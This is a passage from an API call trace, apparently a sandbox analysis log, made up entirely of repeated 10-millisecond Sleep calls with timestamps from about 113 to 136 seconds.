(dwMilliseconds=0xa) [0113.561] Sleep (dwMilliseconds=0xa) [0113.689] Sleep (dwMilliseconds=0xa) [0113.759] Sleep (dwMilliseconds=0xa) [0113.829] Sleep (dwMilliseconds=0xa) [0113.840] Sleep (dwMilliseconds=0xa) [0113.850] Sleep (dwMilliseconds=0xa) [0113.861] Sleep (dwMilliseconds=0xa) [0113.881] Sleep (dwMilliseconds=0xa) [0113.892] Sleep (dwMilliseconds=0xa) [0113.902] Sleep (dwMilliseconds=0xa) [0113.940] Sleep (dwMilliseconds=0xa) [0113.987] Sleep (dwMilliseconds=0xa) [0113.998] Sleep (dwMilliseconds=0xa) [0114.008] Sleep (dwMilliseconds=0xa) [0114.104] Sleep (dwMilliseconds=0xa) [0114.115] Sleep (dwMilliseconds=0xa) [0114.126] Sleep (dwMilliseconds=0xa) [0114.212] Sleep (dwMilliseconds=0xa) [0114.222] Sleep (dwMilliseconds=0xa) [0114.233] Sleep (dwMilliseconds=0xa) [0114.280] Sleep (dwMilliseconds=0xa) [0114.290] Sleep (dwMilliseconds=0xa) [0114.301] Sleep (dwMilliseconds=0xa) [0114.311] Sleep (dwMilliseconds=0xa) [0114.325] Sleep (dwMilliseconds=0xa) [0114.396] Sleep (dwMilliseconds=0xa) [0114.464] Sleep (dwMilliseconds=0xa) [0114.616] Sleep (dwMilliseconds=0xa) [0114.726] Sleep (dwMilliseconds=0xa) [0114.737] Sleep (dwMilliseconds=0xa) [0114.749] Sleep (dwMilliseconds=0xa) [0114.847] Sleep (dwMilliseconds=0xa) [0114.857] Sleep (dwMilliseconds=0xa) [0114.868] Sleep (dwMilliseconds=0xa) [0114.887] Sleep (dwMilliseconds=0xa) [0114.898] Sleep (dwMilliseconds=0xa) [0114.909] Sleep (dwMilliseconds=0xa) [0114.922] Sleep (dwMilliseconds=0xa) [0114.933] Sleep (dwMilliseconds=0xa) [0114.943] Sleep (dwMilliseconds=0xa) [0114.954] Sleep (dwMilliseconds=0xa) [0114.964] Sleep (dwMilliseconds=0xa) [0114.975] Sleep (dwMilliseconds=0xa) [0114.985] Sleep (dwMilliseconds=0xa) [0115.066] Sleep (dwMilliseconds=0xa) [0115.100] Sleep (dwMilliseconds=0xa) [0115.212] Sleep (dwMilliseconds=0xa) [0115.261] Sleep (dwMilliseconds=0xa) [0115.369] Sleep (dwMilliseconds=0xa) [0115.403] Sleep (dwMilliseconds=0xa) [0115.445] Sleep (dwMilliseconds=0xa) [0115.456] Sleep (dwMilliseconds=0xa) [0115.467] Sleep (dwMilliseconds=0xa) [0115.477] Sleep (dwMilliseconds=0xa) [0115.528] Sleep (dwMilliseconds=0xa) [0115.573] Sleep (dwMilliseconds=0xa) [0115.640] Sleep (dwMilliseconds=0xa) [0115.712] Sleep (dwMilliseconds=0xa) [0115.894] Sleep (dwMilliseconds=0xa) [0115.921] Sleep (dwMilliseconds=0xa) [0116.148] Sleep (dwMilliseconds=0xa) [0116.161] Sleep (dwMilliseconds=0xa) [0116.178] Sleep (dwMilliseconds=0xa) [0116.229] Sleep (dwMilliseconds=0xa) [0116.267] Sleep (dwMilliseconds=0xa) [0116.278] Sleep (dwMilliseconds=0xa) [0116.288] Sleep (dwMilliseconds=0xa) [0116.299] Sleep (dwMilliseconds=0xa) [0116.309] Sleep (dwMilliseconds=0xa) [0116.320] Sleep (dwMilliseconds=0xa) [0116.385] Sleep (dwMilliseconds=0xa) [0116.396] Sleep (dwMilliseconds=0xa) [0116.410] Sleep (dwMilliseconds=0xa) [0116.526] Sleep (dwMilliseconds=0xa) [0116.537] Sleep (dwMilliseconds=0xa) [0116.548] Sleep (dwMilliseconds=0xa) [0116.643] Sleep (dwMilliseconds=0xa) [0116.654] Sleep (dwMilliseconds=0xa) [0116.665] Sleep (dwMilliseconds=0xa) [0116.716] Sleep (dwMilliseconds=0xa) [0116.727] Sleep (dwMilliseconds=0xa) [0116.738] Sleep (dwMilliseconds=0xa) [0116.749] Sleep (dwMilliseconds=0xa) [0116.760] Sleep (dwMilliseconds=0xa) [0116.771] Sleep (dwMilliseconds=0xa) [0116.781] Sleep (dwMilliseconds=0xa) [0116.792] Sleep (dwMilliseconds=0xa) [0116.879] Sleep (dwMilliseconds=0xa) [0116.921] Sleep (dwMilliseconds=0xa) [0116.942] Sleep (dwMilliseconds=0xa) [0117.064] Sleep (dwMilliseconds=0xa) [0117.092] Sleep (dwMilliseconds=0xa) [0117.103] Sleep (dwMilliseconds=0xa) [0117.214] Sleep (dwMilliseconds=0xa) [0117.261] Sleep (dwMilliseconds=0xa) [0117.286] Sleep (dwMilliseconds=0xa) [0117.297] Sleep (dwMilliseconds=0xa) [0117.307] Sleep (dwMilliseconds=0xa) [0117.318] Sleep (dwMilliseconds=0xa) [0117.329] Sleep (dwMilliseconds=0xa) [0117.340] Sleep (dwMilliseconds=0xa) [0117.351] Sleep (dwMilliseconds=0xa) [0117.361] Sleep (dwMilliseconds=0xa) [0117.372] Sleep (dwMilliseconds=0xa) [0117.383] Sleep (dwMilliseconds=0xa) [0117.473] Sleep (dwMilliseconds=0xa) [0117.484] Sleep (dwMilliseconds=0xa) [0117.495] Sleep (dwMilliseconds=0xa) [0117.586] Sleep (dwMilliseconds=0xa) [0117.597] Sleep (dwMilliseconds=0xa) [0117.607] Sleep (dwMilliseconds=0xa) [0117.723] Sleep (dwMilliseconds=0xa) [0117.733] Sleep (dwMilliseconds=0xa) [0117.744] Sleep (dwMilliseconds=0xa) [0117.803] Sleep (dwMilliseconds=0xa) [0117.813] Sleep (dwMilliseconds=0xa) [0117.823] Sleep (dwMilliseconds=0xa) [0117.834] Sleep (dwMilliseconds=0xa) [0117.845] Sleep (dwMilliseconds=0xa) [0117.855] Sleep (dwMilliseconds=0xa) [0117.866] Sleep (dwMilliseconds=0xa) [0117.877] Sleep (dwMilliseconds=0xa) [0117.887] Sleep (dwMilliseconds=0xa) [0117.897] Sleep (dwMilliseconds=0xa) [0117.960] Sleep (dwMilliseconds=0xa) [0117.971] Sleep (dwMilliseconds=0xa) [0117.984] Sleep (dwMilliseconds=0xa) [0118.083] Sleep (dwMilliseconds=0xa) [0118.094] Sleep (dwMilliseconds=0xa) [0118.132] Sleep (dwMilliseconds=0xa) [0118.232] Sleep (dwMilliseconds=0xa) [0118.259] Sleep (dwMilliseconds=0xa) [0118.291] Sleep (dwMilliseconds=0xa) [0118.543] Sleep (dwMilliseconds=0xa) [0118.620] Sleep (dwMilliseconds=0xa) [0118.665] Sleep (dwMilliseconds=0xa) [0118.772] Sleep (dwMilliseconds=0xa) [0118.783] Sleep (dwMilliseconds=0xa) [0118.794] Sleep (dwMilliseconds=0xa) [0118.885] Sleep (dwMilliseconds=0xa) [0118.896] Sleep (dwMilliseconds=0xa) [0118.907] Sleep (dwMilliseconds=0xa) [0118.927] Sleep (dwMilliseconds=0xa) [0118.938] Sleep (dwMilliseconds=0xa) [0118.948] Sleep (dwMilliseconds=0xa) [0118.960] Sleep (dwMilliseconds=0xa) [0118.971] Sleep (dwMilliseconds=0xa) [0118.991] Sleep (dwMilliseconds=0xa) [0119.001] Sleep (dwMilliseconds=0xa) [0119.011] Sleep (dwMilliseconds=0xa) [0119.022] Sleep (dwMilliseconds=0xa) [0119.094] Sleep (dwMilliseconds=0xa) [0119.105] Sleep (dwMilliseconds=0xa) [0119.116] Sleep (dwMilliseconds=0xa) [0119.207] Sleep (dwMilliseconds=0xa) [0119.217] Sleep (dwMilliseconds=0xa) [0119.229] Sleep (dwMilliseconds=0xa) [0119.489] Sleep (dwMilliseconds=0xa) [0119.500] Sleep (dwMilliseconds=0xa) [0119.510] Sleep (dwMilliseconds=0xa) [0119.521] Sleep (dwMilliseconds=0xa) [0119.531] Sleep (dwMilliseconds=0xa) [0119.542] Sleep (dwMilliseconds=0xa) [0119.554] Sleep (dwMilliseconds=0xa) [0119.564] Sleep (dwMilliseconds=0xa) [0119.574] Sleep (dwMilliseconds=0xa) [0119.585] Sleep (dwMilliseconds=0xa) [0119.595] Sleep (dwMilliseconds=0xa) [0119.714] Sleep (dwMilliseconds=0xa) [0119.724] Sleep (dwMilliseconds=0xa) [0119.736] Sleep (dwMilliseconds=0xa) [0119.840] Sleep (dwMilliseconds=0xa) [0119.851] Sleep (dwMilliseconds=0xa) [0119.861] Sleep (dwMilliseconds=0xa) [0119.953] Sleep (dwMilliseconds=0xa) [0119.965] Sleep (dwMilliseconds=0xa) [0119.975] Sleep (dwMilliseconds=0xa) [0119.986] Sleep (dwMilliseconds=0xa) [0119.996] Sleep (dwMilliseconds=0xa) [0120.007] Sleep (dwMilliseconds=0xa) [0120.017] Sleep (dwMilliseconds=0xa) [0120.028] Sleep (dwMilliseconds=0xa) [0120.038] Sleep (dwMilliseconds=0xa) [0120.049] Sleep (dwMilliseconds=0xa) [0120.088] Sleep (dwMilliseconds=0xa) [0120.099] Sleep (dwMilliseconds=0xa) [0120.109] Sleep (dwMilliseconds=0xa) [0120.208] Sleep (dwMilliseconds=0xa) [0120.219] Sleep (dwMilliseconds=0xa) [0120.230] Sleep (dwMilliseconds=0xa) [0120.343] Sleep (dwMilliseconds=0xa) [0120.354] Sleep (dwMilliseconds=0xa) [0120.367] Sleep (dwMilliseconds=0xa) [0120.460] Sleep (dwMilliseconds=0xa) [0120.545] Sleep (dwMilliseconds=0xa) [0120.564] Sleep (dwMilliseconds=0xa) [0120.575] Sleep (dwMilliseconds=0xa) [0120.585] Sleep (dwMilliseconds=0xa) [0120.595] Sleep (dwMilliseconds=0xa) [0120.731] Sleep (dwMilliseconds=0xa) [0120.742] Sleep (dwMilliseconds=0xa) [0120.753] Sleep (dwMilliseconds=0xa) [0120.866] Sleep (dwMilliseconds=0xa) [0120.878] Sleep (dwMilliseconds=0xa) [0120.889] Sleep (dwMilliseconds=0xa) [0120.950] Sleep (dwMilliseconds=0xa) [0120.972] Sleep (dwMilliseconds=0xa) [0120.985] Sleep (dwMilliseconds=0xa) [0120.995] Sleep (dwMilliseconds=0xa) [0121.007] Sleep (dwMilliseconds=0xa) [0121.018] Sleep (dwMilliseconds=0xa) [0121.028] Sleep (dwMilliseconds=0xa) [0121.039] Sleep (dwMilliseconds=0xa) [0121.049] Sleep (dwMilliseconds=0xa) [0121.095] Sleep (dwMilliseconds=0xa) [0121.105] Sleep (dwMilliseconds=0xa) [0121.116] Sleep (dwMilliseconds=0xa) [0121.227] Sleep (dwMilliseconds=0xa) [0121.262] Sleep (dwMilliseconds=0xa) [0121.362] Sleep (dwMilliseconds=0xa) [0121.373] Sleep (dwMilliseconds=0xa) [0121.384] Sleep (dwMilliseconds=0xa) [0121.394] Sleep (dwMilliseconds=0xa) [0121.405] Sleep (dwMilliseconds=0xa) [0121.415] Sleep (dwMilliseconds=0xa) [0121.427] Sleep (dwMilliseconds=0xa) [0121.438] Sleep (dwMilliseconds=0xa) [0121.448] Sleep (dwMilliseconds=0xa) [0121.523] Sleep (dwMilliseconds=0xa) [0121.534] Sleep (dwMilliseconds=0xa) [0121.609] Sleep (dwMilliseconds=0xa) [0121.717] Sleep (dwMilliseconds=0xa) [0121.728] Sleep (dwMilliseconds=0xa) [0121.739] Sleep (dwMilliseconds=0xa) [0121.834] Sleep (dwMilliseconds=0xa) [0121.845] Sleep (dwMilliseconds=0xa) [0121.856] Sleep (dwMilliseconds=0xa) [0121.930] Sleep (dwMilliseconds=0xa) [0121.949] Sleep (dwMilliseconds=0xa) [0121.960] Sleep (dwMilliseconds=0xa) [0121.971] Sleep (dwMilliseconds=0xa) [0121.991] Sleep (dwMilliseconds=0xa) [0122.127] Sleep (dwMilliseconds=0xa) [0122.150] Sleep (dwMilliseconds=0xa) [0122.160] Sleep (dwMilliseconds=0xa) [0122.171] Sleep (dwMilliseconds=0xa) [0122.205] Sleep (dwMilliseconds=0xa) [0122.319] Sleep (dwMilliseconds=0xa) [0122.329] Sleep (dwMilliseconds=0xa) [0122.340] Sleep (dwMilliseconds=0xa) [0122.444] Sleep (dwMilliseconds=0xa) [0122.455] Sleep (dwMilliseconds=0xa) [0122.466] Sleep (dwMilliseconds=0xa) [0122.530] Sleep (dwMilliseconds=0xa) [0122.542] Sleep (dwMilliseconds=0xa) [0122.552] Sleep (dwMilliseconds=0xa) [0122.563] Sleep (dwMilliseconds=0xa) [0122.573] Sleep (dwMilliseconds=0xa) [0122.584] Sleep (dwMilliseconds=0xa) [0122.594] Sleep (dwMilliseconds=0xa) [0122.670] Sleep (dwMilliseconds=0xa) [0122.696] Sleep (dwMilliseconds=0xa) [0122.732] Sleep (dwMilliseconds=0xa) [0122.840] Sleep (dwMilliseconds=0xa) [0122.883] Sleep (dwMilliseconds=0xa) [0123.023] Sleep (dwMilliseconds=0xa) [0123.050] Sleep (dwMilliseconds=0xa) [0123.093] Sleep (dwMilliseconds=0xa) [0123.104] Sleep (dwMilliseconds=0xa) [0123.115] Sleep (dwMilliseconds=0xa) [0123.158] Sleep (dwMilliseconds=0xa) [0123.212] Sleep (dwMilliseconds=0xa) [0123.306] Sleep (dwMilliseconds=0xa) [0123.345] Sleep (dwMilliseconds=0xa) [0123.457] Sleep (dwMilliseconds=0xa) [0123.491] Sleep (dwMilliseconds=0xa) [0123.609] Sleep (dwMilliseconds=0xa) [0123.621] Sleep (dwMilliseconds=0xa) [0123.632] Sleep (dwMilliseconds=0xa) [0123.667] Sleep (dwMilliseconds=0xa) [0123.678] Sleep (dwMilliseconds=0xa) [0123.689] Sleep (dwMilliseconds=0xa) [0123.700] Sleep (dwMilliseconds=0xa) [0123.710] Sleep (dwMilliseconds=0xa) [0123.721] Sleep (dwMilliseconds=0xa) [0123.731] Sleep (dwMilliseconds=0xa) [0123.743] Sleep (dwMilliseconds=0xa) [0123.754] Sleep (dwMilliseconds=0xa) [0123.825] Sleep (dwMilliseconds=0xa) [0123.897] Sleep (dwMilliseconds=0xa) [0124.017] Sleep (dwMilliseconds=0xa) [0124.099] Sleep (dwMilliseconds=0xa) [0124.211] Sleep (dwMilliseconds=0xa) [0124.265] Sleep (dwMilliseconds=0xa) [0124.370] Sleep (dwMilliseconds=0xa) [0124.395] Sleep (dwMilliseconds=0xa) [0124.407] Sleep (dwMilliseconds=0xa) [0124.417] Sleep (dwMilliseconds=0xa) [0124.447] Sleep (dwMilliseconds=0xa) [0124.457] Sleep (dwMilliseconds=0xa) [0124.468] Sleep (dwMilliseconds=0xa) [0124.486] Sleep (dwMilliseconds=0xa) [0124.496] Sleep (dwMilliseconds=0xa) [0124.507] Sleep (dwMilliseconds=0xa) [0124.518] Sleep (dwMilliseconds=0xa) [0124.614] Sleep (dwMilliseconds=0xa) [0124.625] Sleep (dwMilliseconds=0xa) [0124.636] Sleep (dwMilliseconds=0xa) [0124.728] Sleep (dwMilliseconds=0xa) [0124.738] Sleep (dwMilliseconds=0xa) [0124.749] Sleep (dwMilliseconds=0xa) [0124.794] Sleep (dwMilliseconds=0xa) [0124.807] Sleep (dwMilliseconds=0xa) [0124.817] Sleep (dwMilliseconds=0xa) [0124.828] Sleep (dwMilliseconds=0xa) [0124.908] Sleep (dwMilliseconds=0xa) [0124.952] Sleep (dwMilliseconds=0xa) [0125.022] Sleep (dwMilliseconds=0xa) [0125.132] Sleep (dwMilliseconds=0xa) [0125.171] Sleep (dwMilliseconds=0xa) [0125.435] Sleep (dwMilliseconds=0xa) [0125.446] Sleep (dwMilliseconds=0xa) [0125.456] Sleep (dwMilliseconds=0xa) [0125.484] Sleep (dwMilliseconds=0xa) [0125.494] Sleep (dwMilliseconds=0xa) [0125.505] Sleep (dwMilliseconds=0xa) [0125.516] Sleep (dwMilliseconds=0xa) [0125.527] Sleep (dwMilliseconds=0xa) [0125.539] Sleep (dwMilliseconds=0xa) [0125.662] Sleep (dwMilliseconds=0xa) [0125.740] Sleep (dwMilliseconds=0xa) [0125.752] Sleep (dwMilliseconds=0xa) [0125.763] Sleep (dwMilliseconds=0xa) [0125.879] Sleep (dwMilliseconds=0xa) [0125.892] Sleep (dwMilliseconds=0xa) [0125.902] Sleep (dwMilliseconds=0xa) [0125.973] Sleep (dwMilliseconds=0xa) [0125.984] Sleep (dwMilliseconds=0xa) [0125.995] Sleep (dwMilliseconds=0xa) [0126.005] Sleep (dwMilliseconds=0xa) [0126.016] Sleep (dwMilliseconds=0xa) [0126.026] Sleep (dwMilliseconds=0xa) [0126.112] Sleep (dwMilliseconds=0xa) [0126.146] Sleep (dwMilliseconds=0xa) [0126.175] Sleep (dwMilliseconds=0xa) [0126.185] Sleep (dwMilliseconds=0xa) [0126.314] Sleep (dwMilliseconds=0xa) [0126.346] Sleep (dwMilliseconds=0xa) [0126.357] Sleep (dwMilliseconds=0xa) [0126.481] Sleep (dwMilliseconds=0xa) [0126.492] Sleep (dwMilliseconds=0xa) [0126.503] Sleep (dwMilliseconds=0xa) [0126.514] Sleep (dwMilliseconds=0xa) [0126.525] Sleep (dwMilliseconds=0xa) [0126.627] Sleep (dwMilliseconds=0xa) [0126.641] Sleep (dwMilliseconds=0xa) [0126.651] Sleep (dwMilliseconds=0xa) [0126.662] Sleep (dwMilliseconds=0xa) [0126.796] Sleep (dwMilliseconds=0xa) [0126.807] Sleep (dwMilliseconds=0xa) [0126.818] Sleep (dwMilliseconds=0xa) [0126.909] Sleep (dwMilliseconds=0xa) [0126.919] Sleep (dwMilliseconds=0xa) [0126.930] Sleep (dwMilliseconds=0xa) [0126.940] Sleep (dwMilliseconds=0xa) [0126.951] Sleep (dwMilliseconds=0xa) [0126.962] Sleep (dwMilliseconds=0xa) [0127.105] Sleep (dwMilliseconds=0xa) [0127.215] Sleep (dwMilliseconds=0xa) [0127.234] Sleep (dwMilliseconds=0xa) [0127.246] Sleep (dwMilliseconds=0xa) [0127.369] Sleep (dwMilliseconds=0xa) [0127.395] Sleep (dwMilliseconds=0xa) [0127.512] Sleep (dwMilliseconds=0xa) [0127.540] Sleep (dwMilliseconds=0xa) [0127.552] Sleep (dwMilliseconds=0xa) [0127.563] Sleep (dwMilliseconds=0xa) [0127.574] Sleep (dwMilliseconds=0xa) [0127.585] Sleep (dwMilliseconds=0xa) [0127.635] Sleep (dwMilliseconds=0xa) [0127.650] Sleep (dwMilliseconds=0xa) [0127.661] Sleep (dwMilliseconds=0xa) [0127.672] Sleep (dwMilliseconds=0xa) [0127.770] Sleep (dwMilliseconds=0xa) [0127.781] Sleep (dwMilliseconds=0xa) [0127.791] Sleep (dwMilliseconds=0xa) [0127.881] Sleep (dwMilliseconds=0xa) [0127.893] Sleep (dwMilliseconds=0xa) [0127.904] Sleep (dwMilliseconds=0xa) [0127.988] Sleep (dwMilliseconds=0xa) [0128.001] Sleep (dwMilliseconds=0xa) [0128.064] Sleep (dwMilliseconds=0xa) [0128.075] Sleep (dwMilliseconds=0xa) [0128.085] Sleep (dwMilliseconds=0xa) [0128.132] Sleep (dwMilliseconds=0xa) [0128.244] Sleep (dwMilliseconds=0xa) [0128.255] Sleep (dwMilliseconds=0xa) [0128.266] Sleep (dwMilliseconds=0xa) [0128.372] Sleep (dwMilliseconds=0xa) [0128.382] Sleep (dwMilliseconds=0xa) [0128.393] Sleep (dwMilliseconds=0xa) [0128.456] Sleep (dwMilliseconds=0xa) [0128.467] Sleep (dwMilliseconds=0xa) [0128.480] Sleep (dwMilliseconds=0xa) [0128.491] Sleep (dwMilliseconds=0xa) [0128.501] Sleep (dwMilliseconds=0xa) [0128.512] Sleep (dwMilliseconds=0xa) [0128.523] Sleep (dwMilliseconds=0xa) [0128.533] Sleep (dwMilliseconds=0xa) [0128.546] Sleep (dwMilliseconds=0xa) [0128.587] Sleep (dwMilliseconds=0xa) [0128.652] Sleep (dwMilliseconds=0xa) [0128.760] Sleep (dwMilliseconds=0xa) [0128.841] Sleep (dwMilliseconds=0xa) [0128.949] Sleep (dwMilliseconds=0xa) [0128.989] Sleep (dwMilliseconds=0xa) [0129.027] Sleep (dwMilliseconds=0xa) [0129.060] Sleep (dwMilliseconds=0xa) [0129.070] Sleep (dwMilliseconds=0xa) [0129.081] Sleep (dwMilliseconds=0xa) [0129.092] Sleep (dwMilliseconds=0xa) [0129.103] Sleep (dwMilliseconds=0xa) [0129.113] Sleep (dwMilliseconds=0xa) [0129.211] Sleep (dwMilliseconds=0xa) [0129.298] Sleep (dwMilliseconds=0xa) [0129.404] Sleep (dwMilliseconds=0xa) [0129.513] Sleep (dwMilliseconds=0xa) [0129.551] Sleep (dwMilliseconds=0xa) [0129.644] Sleep (dwMilliseconds=0xa) [0129.654] Sleep (dwMilliseconds=0xa) [0129.665] Sleep (dwMilliseconds=0xa) [0129.676] Sleep (dwMilliseconds=0xa) [0129.688] Sleep (dwMilliseconds=0xa) [0129.698] Sleep (dwMilliseconds=0xa) [0129.825] Sleep (dwMilliseconds=0xa) [0129.846] Sleep (dwMilliseconds=0xa) [0129.856] Sleep (dwMilliseconds=0xa) [0129.881] Sleep (dwMilliseconds=0xa) [0130.002] Sleep (dwMilliseconds=0xa) [0130.013] Sleep (dwMilliseconds=0xa) [0130.026] Sleep (dwMilliseconds=0xa) [0130.116] Sleep (dwMilliseconds=0xa) [0130.128] Sleep (dwMilliseconds=0xa) [0130.139] Sleep (dwMilliseconds=0xa) [0130.168] Sleep (dwMilliseconds=0xa) [0130.180] Sleep (dwMilliseconds=0xa) [0130.191] Sleep (dwMilliseconds=0xa) [0130.202] Sleep (dwMilliseconds=0xa) [0130.213] Sleep (dwMilliseconds=0xa) [0130.223] Sleep (dwMilliseconds=0xa) [0130.234] Sleep (dwMilliseconds=0xa) [0130.245] Sleep (dwMilliseconds=0xa) [0130.255] Sleep (dwMilliseconds=0xa) [0130.361] Sleep (dwMilliseconds=0xa) [0130.428] Sleep (dwMilliseconds=0xa) [0130.440] Sleep (dwMilliseconds=0xa) [0130.450] Sleep (dwMilliseconds=0xa) [0130.565] Sleep (dwMilliseconds=0xa) [0130.648] Sleep (dwMilliseconds=0xa) [0130.762] Sleep (dwMilliseconds=0xa) [0130.773] Sleep (dwMilliseconds=0xa) [0130.784] Sleep (dwMilliseconds=0xa) [0130.794] Sleep (dwMilliseconds=0xa) [0130.805] Sleep (dwMilliseconds=0xa) [0130.816] Sleep (dwMilliseconds=0xa) [0130.826] Sleep (dwMilliseconds=0xa) [0130.837] Sleep (dwMilliseconds=0xa) [0130.848] Sleep (dwMilliseconds=0xa) [0130.920] Sleep (dwMilliseconds=0xa) [0131.037] Sleep (dwMilliseconds=0xa) [0131.065] Sleep (dwMilliseconds=0xa) [0131.399] Sleep (dwMilliseconds=0xa) [0131.422] Sleep (dwMilliseconds=0xa) [0131.470] Sleep (dwMilliseconds=0xa) [0131.497] Sleep (dwMilliseconds=0xa) [0131.507] Sleep (dwMilliseconds=0xa) [0131.523] Sleep (dwMilliseconds=0xa) [0131.534] Sleep (dwMilliseconds=0xa) [0131.545] Sleep (dwMilliseconds=0xa) [0131.555] Sleep (dwMilliseconds=0xa) [0131.636] Sleep (dwMilliseconds=0xa) [0131.701] Sleep (dwMilliseconds=0xa) [0131.713] Sleep (dwMilliseconds=0xa) [0131.723] Sleep (dwMilliseconds=0xa) [0131.843] Sleep (dwMilliseconds=0xa) [0131.869] Sleep (dwMilliseconds=0xa) [0131.991] Sleep (dwMilliseconds=0xa) [0132.026] Sleep (dwMilliseconds=0xa) [0132.043] Sleep (dwMilliseconds=0xa) [0132.057] Sleep (dwMilliseconds=0xa) [0132.068] Sleep (dwMilliseconds=0xa) [0132.079] Sleep (dwMilliseconds=0xa) [0132.090] Sleep (dwMilliseconds=0xa) [0132.101] Sleep (dwMilliseconds=0xa) [0132.111] Sleep (dwMilliseconds=0xa) [0132.122] Sleep (dwMilliseconds=0xa) [0132.197] Sleep (dwMilliseconds=0xa) [0132.318] Sleep (dwMilliseconds=0xa) [0132.421] Sleep (dwMilliseconds=0xa) [0132.538] Sleep (dwMilliseconds=0xa) [0132.548] Sleep (dwMilliseconds=0xa) [0132.559] Sleep (dwMilliseconds=0xa) [0132.599] Sleep (dwMilliseconds=0xa) [0132.610] Sleep (dwMilliseconds=0xa) [0132.621] Sleep (dwMilliseconds=0xa) [0132.632] Sleep (dwMilliseconds=0xa) [0132.648] Sleep (dwMilliseconds=0xa) [0132.659] Sleep (dwMilliseconds=0xa) [0132.669] Sleep (dwMilliseconds=0xa) [0132.680] Sleep (dwMilliseconds=0xa) [0132.690] Sleep (dwMilliseconds=0xa) [0132.752] Sleep (dwMilliseconds=0xa) [0132.763] Sleep (dwMilliseconds=0xa) [0132.773] Sleep (dwMilliseconds=0xa) [0132.873] Sleep (dwMilliseconds=0xa) [0132.884] Sleep (dwMilliseconds=0xa) [0132.900] Sleep (dwMilliseconds=0xa) [0132.991] Sleep (dwMilliseconds=0xa) [0133.001] Sleep (dwMilliseconds=0xa) [0133.012] Sleep (dwMilliseconds=0xa) [0133.022] Sleep (dwMilliseconds=0xa) [0133.033] Sleep (dwMilliseconds=0xa) [0133.043] Sleep (dwMilliseconds=0xa) [0133.055] Sleep (dwMilliseconds=0xa) [0133.065] Sleep (dwMilliseconds=0xa) [0133.078] Sleep (dwMilliseconds=0xa) [0133.089] Sleep (dwMilliseconds=0xa) [0133.125] Sleep (dwMilliseconds=0xa) [0133.136] Sleep (dwMilliseconds=0xa) [0133.147] Sleep (dwMilliseconds=0xa) [0133.260] Sleep (dwMilliseconds=0xa) [0133.285] Sleep (dwMilliseconds=0xa) [0133.417] Sleep (dwMilliseconds=0xa) [0133.427] Sleep (dwMilliseconds=0xa) [0133.438] Sleep (dwMilliseconds=0xa) [0133.472] Sleep (dwMilliseconds=0xa) [0133.487] Sleep (dwMilliseconds=0xa) [0133.497] Sleep (dwMilliseconds=0xa) [0133.508] Sleep (dwMilliseconds=0xa) [0133.518] Sleep (dwMilliseconds=0xa) [0133.529] Sleep (dwMilliseconds=0xa) [0133.605] Sleep (dwMilliseconds=0xa) [0133.697] Sleep (dwMilliseconds=0xa) [0133.709] Sleep (dwMilliseconds=0xa) [0133.719] Sleep (dwMilliseconds=0xa) [0133.832] Sleep (dwMilliseconds=0xa) [0133.843] Sleep (dwMilliseconds=0xa) [0133.854] Sleep (dwMilliseconds=0xa) [0133.947] Sleep (dwMilliseconds=0xa) [0133.957] Sleep (dwMilliseconds=0xa) [0133.971] Sleep (dwMilliseconds=0xa) [0134.086] Sleep (dwMilliseconds=0xa) [0134.198] Sleep (dwMilliseconds=0xa) [0134.259] Sleep (dwMilliseconds=0xa) [0134.390] Sleep (dwMilliseconds=0xa) [0134.401] Sleep (dwMilliseconds=0xa) [0134.413] Sleep (dwMilliseconds=0xa) [0134.458] Sleep (dwMilliseconds=0xa) [0134.468] Sleep (dwMilliseconds=0xa) [0134.481] Sleep (dwMilliseconds=0xa) [0134.492] Sleep (dwMilliseconds=0xa) [0134.502] Sleep (dwMilliseconds=0xa) [0134.513] Sleep (dwMilliseconds=0xa) [0134.523] Sleep (dwMilliseconds=0xa) [0134.534] Sleep (dwMilliseconds=0xa) [0134.545] Sleep (dwMilliseconds=0xa) [0134.555] Sleep (dwMilliseconds=0xa) [0134.618] Sleep (dwMilliseconds=0xa) [0134.709] Sleep (dwMilliseconds=0xa) [0134.817] Sleep (dwMilliseconds=0xa) [0134.830] Sleep (dwMilliseconds=0xa) [0134.840] Sleep (dwMilliseconds=0xa) [0134.913] Sleep (dwMilliseconds=0xa) [0134.924] Sleep (dwMilliseconds=0xa) [0134.935] Sleep (dwMilliseconds=0xa) [0134.946] Sleep (dwMilliseconds=0xa) [0134.959] Sleep (dwMilliseconds=0xa) [0134.969] Sleep (dwMilliseconds=0xa) [0134.987] Sleep (dwMilliseconds=0xa) [0134.998] Sleep (dwMilliseconds=0xa) [0135.009] Sleep (dwMilliseconds=0xa) [0135.040] Sleep (dwMilliseconds=0xa) [0135.052] Sleep (dwMilliseconds=0xa) [0135.062] Sleep (dwMilliseconds=0xa) [0135.173] Sleep (dwMilliseconds=0xa) [0135.184] Sleep (dwMilliseconds=0xa) [0135.204] Sleep (dwMilliseconds=0xa) [0135.214] Sleep (dwMilliseconds=0xa) [0135.309] Sleep (dwMilliseconds=0xa) [0135.319] Sleep (dwMilliseconds=0xa) [0135.330] Sleep (dwMilliseconds=0xa) [0135.564] Sleep (dwMilliseconds=0xa) [0135.575] Sleep (dwMilliseconds=0xa) [0135.586] Sleep (dwMilliseconds=0xa) [0135.674] Sleep (dwMilliseconds=0xa) [0135.685] Sleep (dwMilliseconds=0xa) [0135.696] Sleep (dwMilliseconds=0xa) [0135.749] Sleep (dwMilliseconds=0xa) [0135.760] Sleep (dwMilliseconds=0xa) [0135.846] Sleep (dwMilliseconds=0xa) [0135.886] Sleep (dwMilliseconds=0xa) [0135.903] Sleep (dwMilliseconds=0xa) [0135.914] Sleep (dwMilliseconds=0xa) [0136.021] Sleep (dwMilliseconds=0xa) [0136.042] Sleep (dwMilliseconds=0xa) [0136.052] Sleep (dwMilliseconds=0xa) [0136.067] Sleep (dwMilliseconds=0xa) [0136.077] Sleep (dwMilliseconds=0xa) [0136.088] Sleep (dwMilliseconds=0xa) [0136.099] Sleep (dwMilliseconds=0xa) [0136.113] Sleep (dwMilliseconds=0xa) [0136.210] Sleep (dwMilliseconds=0xa) [0136.271] Sleep (dwMilliseconds=0xa) [0136.346] Sleep (dwMilliseconds=0xa) [0136.357] Sleep (dwMilliseconds=0xa) [0136.368] Sleep (dwMilliseconds=0xa) [0136.389] Sleep (dwMilliseconds=0xa) [0136.401] Sleep (dwMilliseconds=0xa) [0136.412] Sleep (dwMilliseconds=0xa) [0136.456] Sleep (dwMilliseconds=0xa) [0136.490] Sleep (dwMilliseconds=0xa) [0136.533] Sleep (dwMilliseconds=0xa) [0136.583] Sleep (dwMilliseconds=0xa) [0136.667] Sleep (dwMilliseconds=0xa) [0136.678] 